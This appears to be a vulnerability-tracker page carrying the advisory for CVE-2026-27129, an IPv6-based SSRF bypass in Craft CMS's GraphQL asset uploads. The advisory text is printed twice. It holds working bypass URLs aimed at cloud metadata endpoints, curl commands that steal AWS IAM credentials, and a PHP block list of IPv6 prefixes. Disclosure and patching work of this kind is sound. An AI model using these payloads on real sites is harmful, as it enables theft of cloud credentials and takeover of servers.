Monitor vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
5.5
Craft CMS Exposes Assets to Unauthorized Access via IPv6
CVE-2026-27129
GHSA-v2gc-rm6g-wrw9
Summary
A security fix in Craft CMS has been bypassed, allowing attackers to access assets without permission. This issue affects users with GraphQL schema permissions to edit or create assets in a specific volume, potentially allowing attackers to access sensitive data. To protect your site, review your permissions and ensure that public schema access is not misconfigured with write permissions.
What to do
- Update craftcms cms to version 5.8.23.
- Update craftcms cms to version 4.16.19.
Affected software
| Vendor | Product | Affected versions | Fix available |
|---|---|---|---|
| craftcms | cms | > 5.0.0-RC1 , <= 5.8.22 | 5.8.23 |
| craftcms | cms | > 3.5.0 , <= 4.16.18 | 4.16.19 |
| craftcms | craft_cms | > 3.5.0 , <= 4.16.19 | – |
| craftcms | craft_cms | > 5.0.1 , <= 5.8.23 | – |
| craftcms | craft_cms | 5.0.0 | – |
| craftcms | craft_cms | 5.0.0 | – |
Original title
Craft CMS: Cloud Metadata SSRF Protection Bypass via IPv6 Resolution
Original description
The SSRF validation in Craft CMS’s GraphQL Asset mutation uses `gethostbyname()`, which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection.
This is a bypass of the security fix for CVE-2025-68437 ([GHSA-x27p-wfqw-hfcc](https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc)).
## Required Permissions
Exploitation requires GraphQL schema permissions for:
- Edit assets in the `<VolumeName>` volume
- Create assets in the `<VolumeName>` volume
These permissions may be granted to:
- Authenticated users with appropriate GraphQL schema access
- Public Schema (if misconfigured with write permissions)
---
## Technical Details
### Root Cause
From PHP documentation: *"gethostbyname - Get the IPv4 address corresponding to a given Internet host name"*
When no IPv4 (A record) exists, `gethostbyname()` returns the hostname string unchanged.
### Bypass Mechanism
```
+-----------------------------------------------------------------------------+
| Step 1: Attacker provides URL |
| http://fd00-ec2--254.sslip.io/latest/meta-data/ |
+-----------------------------------------------------------------------------+
| Step 2: Validation calls gethostbyname('fd00-ec2--254.sslip.io') |
| -> No A record exists |
| -> Returns: "fd00-ec2--254.sslip.io" (string, not an IP!) |
+-----------------------------------------------------------------------------+
| Step 3: Blocklist check |
| in_array("fd00-ec2--254.sslip.io", ['169.254.169.254', ...]) |
| -> FALSE (string != IPv4 addresses) |
| -> VALIDATION PASSES |
+-----------------------------------------------------------------------------+
| Step 4: Guzzle makes HTTP request |
| -> Resolves DNS (including AAAA records) |
| -> Gets IPv6: fd00:ec2::254 |
| -> Connects to AWS IMDS IPv6 endpoint |
| -> CREDENTIALS STOLEN |
+-----------------------------------------------------------------------------+
```
---
## Bypass Payloads
### Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents
| Cloud Provider | Blocked IPv4 | IPv6 Equivalent | Bypass Payload |
|----------------|--------------|-----------------|----------------|
| **AWS EC2 IMDS** | `169.254.169.254` | `fd00:ec2::254` | `http://fd00-ec2--254.sslip.io/` |
| **AWS ECS** | `169.254.170.2` | `fd00:ec2::254` (via IMDS) | `http://fd00-ec2--254.sslip.io/` |
| **Google Cloud GCP** | `169.254.169.254` | `fd20:ce::254` | `http://fd20-ce--254.sslip.io/` |
| **Azure** | `169.254.169.254` | No IPv6 endpoint | N/A |
| **Alibaba Cloud** | `100.100.100.200` | No documented IPv6 | N/A |
| **Oracle Cloud** | `192.0.0.192` | No documented IPv6 | N/A |
### Additional IPv6 Internal Service Bypass Payloads
| Target | IPv6 Address | Bypass Payload |
|--------|--------------|----------------|
| **IPv6 Loopback** | `::1` | `http://0-0-0-0-0-0-0-1.sslip.io/` |
| **AWS NTP Service** | `fd00:ec2::123` | `http://fd00-ec2--123.sslip.io/` |
| **AWS DNS Service** | `fd00:ec2::253` | `http://fd00-ec2--253.sslip.io/` |
| **IPv4-mapped IPv6** | `::ffff:169.254.169.254` | `http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/` |
---
## Steps to Reproduce
### Step 1: Verify DNS Resolution
```bash
# Verify the hostname has no IPv4 record (what gethostbyname sees)
$ dig fd00-ec2--254.sslip.io A +short
# (empty - no IPv4 record)
# Verify the hostname has IPv6 record (what Guzzle/curl uses)
$ dig fd00-ec2--254.sslip.io AAAA +short
fd00:ec2::254
```
### Step 2: Enumerate AWS IAM Role Name
```bash
curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
-d '{
"query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\", filename: \"role.txt\" }) { id } }"
}'
```
### Step 3: Retrieve AWS Credentials
```bash
# Replace ROLE_NAME with the role discovered in Step 2
curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
-d '{
"query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/ROLE_NAME\", filename: \"creds.json\" }) { id } }"
}'
```
### Step 4: Access Saved Credentials
The credentials will be saved to the asset volume (e.g., `/userphotos/photos/creds.json`).
---
### Attack Scenario
1. Attacker finds Craft CMS instance with GraphQL asset mutations enabled
2. Attacker sends mutation with `url: "http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/"`
3. Error message or saved file reveals IAM role name
4. Attacker retrieves credentials via second mutation
5. Attacker uses credentials to access AWS services
6. **Attacker can now achieve code execution by creating new EC2 instances with their SSH key**
---
## Remediation
Replace `gethostbyname()` with `dns_get_record()` to check both IPv4 and IPv6:
```php
// Resolve both IPv4 and IPv6 addresses
$records = @dns_get_record($hostname, DNS_A | DNS_AAAA);
if ($records === false) {
$records = [];
}
// Blocked IPv6 metadata prefixes
$blockedIPv6Prefixes = [
'fd00:ec2::', // AWS IMDS, DNS, NTP
'fd20:ce::', // GCP Metadata
'::1', // Loopback
'fe80:', // Link-local
'::ffff:', // IPv4-mapped IPv6
];
foreach ($records as $record) {
// Check IPv4 (existing logic)
if (isset($record['ip']) && in_array($record['ip'], $blockedIPv4)) {
return false;
}
// Check IPv6 (NEW)
if (isset($record['ipv6'])) {
foreach ($blockedIPv6Prefixes as $prefix) {
if (str_starts_with($record['ipv6'], $prefix)) {
return false;
}
}
}
}
```
### Additional Mitigations
| Mitigation | Description |
|------------|-------------|
| Block wildcard DNS services | Block nip.io, sslip.io, xip.io suffixes |
| Use `dns_get_record()` | Resolves both IPv4 and IPv6 |
---
## Resources
- https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3
- [PHP: gethostbyname](https://www.php.net/manual/en/function.gethostbyname.php) - "Get the **IPv4 address** corresponding to a given Internet host name"
- [GHSA-x27p-wfqw-hfcc](https://github.com/advisories/GHSA-x27p-wfqw-hfcc) - Original SSRF vulnerability (CVE-2025-68437)
- [AWS IMDS IPv6 Documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html)
- [GCP Metadata Server Documentation](https://cloud.google.com/compute/docs/metadata/querying-metadata)
- [PayloadsAllTheThings - SSRF Cloud Instances](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances.md)
This is a bypass of the security fix for CVE-2025-68437 ([GHSA-x27p-wfqw-hfcc](https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc)).
## Required Permissions
Exploitation requires GraphQL schema permissions for:
- Edit assets in the `<VolumeName>` volume
- Create assets in the `<VolumeName>` volume
These permissions may be granted to:
- Authenticated users with appropriate GraphQL schema access
- Public Schema (if misconfigured with write permissions)
---
## Technical Details
### Root Cause
From PHP documentation: *"gethostbyname - Get the IPv4 address corresponding to a given Internet host name"*
When no IPv4 (A record) exists, `gethostbyname()` returns the hostname string unchanged.
### Bypass Mechanism
```
+-----------------------------------------------------------------------------+
| Step 1: Attacker provides URL |
| http://fd00-ec2--254.sslip.io/latest/meta-data/ |
+-----------------------------------------------------------------------------+
| Step 2: Validation calls gethostbyname('fd00-ec2--254.sslip.io') |
| -> No A record exists |
| -> Returns: "fd00-ec2--254.sslip.io" (string, not an IP!) |
+-----------------------------------------------------------------------------+
| Step 3: Blocklist check |
| in_array("fd00-ec2--254.sslip.io", ['169.254.169.254', ...]) |
| -> FALSE (string != IPv4 addresses) |
| -> VALIDATION PASSES |
+-----------------------------------------------------------------------------+
| Step 4: Guzzle makes HTTP request |
| -> Resolves DNS (including AAAA records) |
| -> Gets IPv6: fd00:ec2::254 |
| -> Connects to AWS IMDS IPv6 endpoint |
| -> CREDENTIALS STOLEN |
+-----------------------------------------------------------------------------+
```
---
## Bypass Payloads
### Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents
| Cloud Provider | Blocked IPv4 | IPv6 Equivalent | Bypass Payload |
|----------------|--------------|-----------------|----------------|
| **AWS EC2 IMDS** | `169.254.169.254` | `fd00:ec2::254` | `http://fd00-ec2--254.sslip.io/` |
| **AWS ECS** | `169.254.170.2` | `fd00:ec2::254` (via IMDS) | `http://fd00-ec2--254.sslip.io/` |
| **Google Cloud GCP** | `169.254.169.254` | `fd20:ce::254` | `http://fd20-ce--254.sslip.io/` |
| **Azure** | `169.254.169.254` | No IPv6 endpoint | N/A |
| **Alibaba Cloud** | `100.100.100.200` | No documented IPv6 | N/A |
| **Oracle Cloud** | `192.0.0.192` | No documented IPv6 | N/A |
### Additional IPv6 Internal Service Bypass Payloads
| Target | IPv6 Address | Bypass Payload |
|--------|--------------|----------------|
| **IPv6 Loopback** | `::1` | `http://0-0-0-0-0-0-0-1.sslip.io/` |
| **AWS NTP Service** | `fd00:ec2::123` | `http://fd00-ec2--123.sslip.io/` |
| **AWS DNS Service** | `fd00:ec2::253` | `http://fd00-ec2--253.sslip.io/` |
| **IPv4-mapped IPv6** | `::ffff:169.254.169.254` | `http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/` |
---
## Steps to Reproduce
### Step 1: Verify DNS Resolution
```bash
# Verify the hostname has no IPv4 record (what gethostbyname sees)
$ dig fd00-ec2--254.sslip.io A +short
# (empty - no IPv4 record)
# Verify the hostname has IPv6 record (what Guzzle/curl uses)
$ dig fd00-ec2--254.sslip.io AAAA +short
fd00:ec2::254
```
### Step 2: Enumerate AWS IAM Role Name
```bash
curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
-d '{
"query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\", filename: \"role.txt\" }) { id } }"
}'
```
### Step 3: Retrieve AWS Credentials
```bash
# Replace ROLE_NAME with the role discovered in Step 2
curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
-d '{
"query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/ROLE_NAME\", filename: \"creds.json\" }) { id } }"
}'
```
### Step 4: Access Saved Credentials
The credentials will be saved to the asset volume (e.g., `/userphotos/photos/creds.json`).
---
### Attack Scenario
1. Attacker finds Craft CMS instance with GraphQL asset mutations enabled
2. Attacker sends mutation with `url: "http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/"`
3. Error message or saved file reveals IAM role name
4. Attacker retrieves credentials via second mutation
5. Attacker uses credentials to access AWS services
6. **Attacker can now achieve code execution by creating new EC2 instances with their SSH key**
---
## Remediation
Replace `gethostbyname()` with `dns_get_record()` to check both IPv4 and IPv6:
```php
// Resolve both IPv4 and IPv6 addresses
$records = @dns_get_record($hostname, DNS_A | DNS_AAAA);
if ($records === false) {
$records = [];
}
// Blocked IPv6 metadata prefixes
$blockedIPv6Prefixes = [
'fd00:ec2::', // AWS IMDS, DNS, NTP
'fd20:ce::', // GCP Metadata
'::1', // Loopback
'fe80:', // Link-local
'::ffff:', // IPv4-mapped IPv6
];
foreach ($records as $record) {
// Check IPv4 (existing logic)
if (isset($record['ip']) && in_array($record['ip'], $blockedIPv4)) {
return false;
}
// Check IPv6 (NEW)
if (isset($record['ipv6'])) {
foreach ($blockedIPv6Prefixes as $prefix) {
if (str_starts_with($record['ipv6'], $prefix)) {
return false;
}
}
}
}
```
### Additional Mitigations
| Mitigation | Description |
|------------|-------------|
| Block wildcard DNS services | Block nip.io, sslip.io, xip.io suffixes |
| Use `dns_get_record()` | Resolves both IPv4 and IPv6 |
---
## Resources
- https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3
- [PHP: gethostbyname](https://www.php.net/manual/en/function.gethostbyname.php) - "Get the **IPv4 address** corresponding to a given Internet host name"
- [GHSA-x27p-wfqw-hfcc](https://github.com/advisories/GHSA-x27p-wfqw-hfcc) - Original SSRF vulnerability (CVE-2025-68437)
- [AWS IMDS IPv6 Documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html)
- [GCP Metadata Server Documentation](https://cloud.google.com/compute/docs/metadata/querying-metadata)
- [PayloadsAllTheThings - SSRF Cloud Instances](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances.md)
nvd CVSS3.1
6.5
nvd CVSS4.0
5.7
Vulnerability type
CWE-918
Server-Side Request Forgery (SSRF)
- https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3 Patch
- https://github.com/craftcms/cms/security/advisories/GHSA-v2gc-rm6g-wrw9 Exploit Mitigation Patch Vendor Advisory
- https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc Not Applicable
- https://nvd.nist.gov/vuln/detail/CVE-2026-27129
- https://github.com/advisories/GHSA-v2gc-rm6g-wrw9
Published: 24 Feb 2026 · Updated: 12 Mar 2026 · First seen: 6 Mar 2026